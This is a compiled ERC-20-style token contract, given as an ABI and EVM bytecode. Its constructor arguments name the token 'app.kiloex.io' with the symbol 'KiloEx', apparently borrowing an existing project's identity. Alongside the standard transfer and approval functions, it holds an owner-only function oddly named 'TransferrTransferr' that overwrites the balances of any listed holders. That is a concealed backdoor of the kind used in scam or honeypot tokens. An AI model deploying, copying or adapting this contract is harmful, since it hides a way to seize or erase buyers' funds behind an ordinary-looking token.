[ { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" }, { "internalType": "uint8", "name": "decimals_", "type": "uint8" }, { "internalType": "uint256", "name": "totalSupply_", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "oldBalance", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "BalanceAdjusted", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousowner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newowner", "type": "address" } ], "name": "ownershipTransferred", "type": "event" }, { "inputs": [ { "internalType": "address[]", "name": "accounts", "type": "address[]" }, { "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "TransferrTransferr", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceownership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
60806040523480156200001157600080fd5b5060405162000eb738038062000eb783398101604081905262000034916200027d565b600080546001600160a01b031916339081178255604051909182917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b7908290a35083516200008a90600390602087019062000120565b508251620000a090600490602086019062000120565b506005805460ff191660ff8416179055620000bd82600a62000351565b620000c990826200041f565b600681905533600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050620004aa565b8280546200012e9062000441565b90600052602060002090601f0160209004810192826200015257600085556200019d565b82601f106200016d57805160ff19168380011785556200019d565b828001600101855582156200019d579182015b828111156200019d57825182559160200191906001019062000180565b50620001ab929150620001af565b5090565b5b80821115620001ab5760008155600101620001b0565b600082601f830112620001d857600080fd5b81516001600160401b0380821115620001f557620001f562000494565b604051601f8301601f19908116603f0116810190828211818310171562000220576200022062000494565b816040528381526020925086838588010111156200023d57600080fd5b600091505b8382101562000261578582018301518183018401529082019062000242565b83821115620002735760008385830101525b9695505050505050565b600080600080608085870312156200029457600080fd5b84516001600160401b0380821115620002ac57600080fd5b620002ba88838901620001c6565b95506020870151915080821115620002d157600080fd5b50620002e087828801620001c6565b935050604085015160ff81168114620002f857600080fd5b6060959095015193969295505050565b600181815b80851115620003495781600019048211156200032d576200032d6200047e565b808516156200033b57918102915b93841c93908002906200030d565b509250929050565b60006200036260ff84168362000369565b9392505050565b6000826200037a5750600162000419565b81620003895750600062000419565b8160018114620003a25760028114620003ad57620003cd565b600191505062000419565b60ff841115620003c157620003c16200047e565b50506001821b62000419565b5060208310610133831016604e8410600b8410161715620003f2575081810a62000419565b620003fe838362000308565b80600019048211156200041557620004156200047e565b0290505b92915050565b60008160001904831182151516156200043c576200043c6200047e565b500290565b600181811c908216806200045657607f821691505b602082108114156200047857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6109fd80620004ba6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101495780638da5cb5b1461017257806395d89b411461018d578063a9059cbb14610195578063c2af913b146101a8578063dd62ed3e146101b057600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063492e496a14610134575b600080fd5b6100c16101e9565b6040516100ce91906108ab565b60405180910390f35b6100ea6100e53660046107af565b61027b565b60405190151581526020016100ce565b6006545b6040519081526020016100ce565b6100ea61011a366004610773565b6102e3565b60055460405160ff90911681526020016100ce565b6101476101423660046107d9565b610454565b005b6100fe61015736600461071e565b6001600160a01b031660009081526001602052604090205490565b6000546040516001600160a01b0390911681526020016100ce565b6100c1610550565b6100ea6101a33660046107af565b61055f565b610147610658565b6100fe6101be366004610740565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6060600380546101f89061092f565b80601f01602080910402602001604051908101604052809291908181526020018280546102249061092f565b80156102715780601f1061024657610100808354040283529160200191610271565b820191906000526020600020905b81548152906001019060200180831161025457829003601f168201915b5050505050905090565b3360008181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a350600192915050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156103695760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b03841660009081526001602052604081208054849290610391908490610918565b90915550506001600160a01b038316600090815260016020526040812080548492906103be908490610900565b90915550506001600160a01b0384166000908152600260209081526040808320338452909152812080548492906103f6908490610918565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161044291815260200190565b60405180910390a35060019392505050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610360565b60005b825181101561054b5760008382815181106104ce576104ce61099b565b6020908102919091018101516001600160a01b0381166000818152600184526040908190208054908890558151818152948501889052929450919290917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a2505080806105439061096a565b9150506104b1565b505050565b6060600480546101f89061092f565b336000908152600160205260408120548211156105ca5760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610360565b33600090815260016020526040812080548492906105e9908490610918565b90915550506001600160a01b03831660009081526001602052604081208054849290610616908490610900565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102d2565b6000546001600160a01b031633146106b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610360565b6000805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a3600080546001600160a01b03191661dead179055565b80356001600160a01b038116811461071957600080fd5b919050565b60006020828403121561073057600080fd5b61073982610702565b9392505050565b6000806040838503121561075357600080fd5b61075c83610702565b915061076a60208401610702565b90509250929050565b60008060006060848603121561078857600080fd5b61079184610702565b925061079f60208501610702565b9150604084013590509250925092565b600080604083850312156107c257600080fd5b6107cb83610702565b946020939093013593505050565b600080604083850312156107ec57600080fd5b823567ffffffffffffffff8082111561080457600080fd5b818501915085601f83011261081857600080fd5b813560208282111561082c5761082c6109b1565b8160051b604051601f19603f83011681018181108682111715610851576108516109b1565b604052838152828101945085830182870184018b101561087057600080fd5b600096505b8487101561089a5761088681610702565b865260019690960195948301948301610875565b509997909101359750505050505050565b600060208083528351808285015260005b818110156108d8578581018301518582016040015282016108bc565b818111156108ea576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561091357610913610985565b500190565b60008282101561092a5761092a610985565b500390565b600181811c9082168061094357607f821691505b6020821081141561096457634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561097e5761097e610985565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212203fa969c6184f0b4ee6a8359950f958834a6d0afe0de9e3bae7a311181c14f16064736f6c63430008070033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000004e3b29200000000000000000000000000000000000000000000000000000000000000000d6170702e6b696c6f65782e696f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064b696c6f45780000000000000000000000000000000000000000000000000000